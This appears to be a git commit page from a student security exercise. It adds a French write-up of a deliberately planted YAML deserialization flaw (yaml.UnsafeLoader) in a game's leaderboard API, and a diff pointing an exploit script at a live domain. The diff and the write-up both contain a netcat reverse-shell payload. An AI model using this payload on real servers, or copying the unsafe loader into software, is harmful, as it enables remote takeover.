Merge branch 'docs'
This commit is contained in:
@@ -3,7 +3,8 @@ import requests
|
|||||||
malicious_yaml = """
|
malicious_yaml = """
|
||||||
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
||||||
"""
|
"""
|
||||||
url = "http://127.0.0.1:8080/api/leaderboard"
|
#url = "http://127.0.0.1:8080/api/leaderboard"
|
||||||
|
url = "http://libremon.furtest.fr/api/leaderboard"
|
||||||
headers = {
|
headers = {
|
||||||
"Content-Type": "text/yaml"
|
"Content-Type": "text/yaml"
|
||||||
}
|
}
|
||||||
|
|||||||
27
faille.md
Normal file
27
faille.md
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
# Equipe Tigrou
|
||||||
|
|
||||||
|
Nous avons réalisé un jeu pokemon-like où les logiciels libres et propriétaires s'affrontent : https://libremon.furtest.fr
|
||||||
|
|
||||||
|
La faille est intégré dans le leaderboard, pour des raisons de sécurité elle est désactivé sur le serveur mais vous pouvez la trouvez en téléchargant les sources du site au lien suivant.
|
||||||
|
|
||||||
|
https://share.furtest.fr/app/open/8v6M1zn6FZn-qUTvevvP8Wc-LFiYonS6ZTo-wYG6RmQWCXu?view=1
|
||||||
|
|
||||||
|
# Fonctionnement de la faille
|
||||||
|
|
||||||
|
L'api du leaderboard accepte des inputs en YAML ainsi qu'en JSON mais la version YAML utilise une fonction non sécurisé de la bibliothèque YAML de python. Plus précisement la ligne
|
||||||
|
```python
|
||||||
|
new_entry = yaml.load(request.data, Loader=yaml.UnsafeLoader)
|
||||||
|
```
|
||||||
|
utilise le UnsafeLoader de YAML qui est permet lorsque l'utilisateur envoie un input formé de façon spécifique d'éxecuter du code arbitraire.
|
||||||
|
|
||||||
|
Ceci envoyé avec un POST sur l'endpoint /api/leaderboard et avec une connection nc ouverte accessible permet d'ouvrir une reverse shell sur le serveur et y obtenir un terminal de commande.
|
||||||
|
```YAML
|
||||||
|
!!python/object/apply:os.system ["nc -e /bin/bash 127.0.0.1 1111"]
|
||||||
|
````
|
||||||
|
|
||||||
|
# Tester par vous même
|
||||||
|
|
||||||
|
Prérequis : avoir installé les biliothèques python `flask` et `yaml`
|
||||||
|
Dans un terminal lancer : `nc -nvlp 1111`
|
||||||
|
Lancer ensuite l'application dans un deuxième terminal avec : `python app.py`
|
||||||
|
Enfin dans un dernier terminal executer le script python fourni avec l'application : `python exploit.py`
|
||||||
Reference in New Issue
Block a user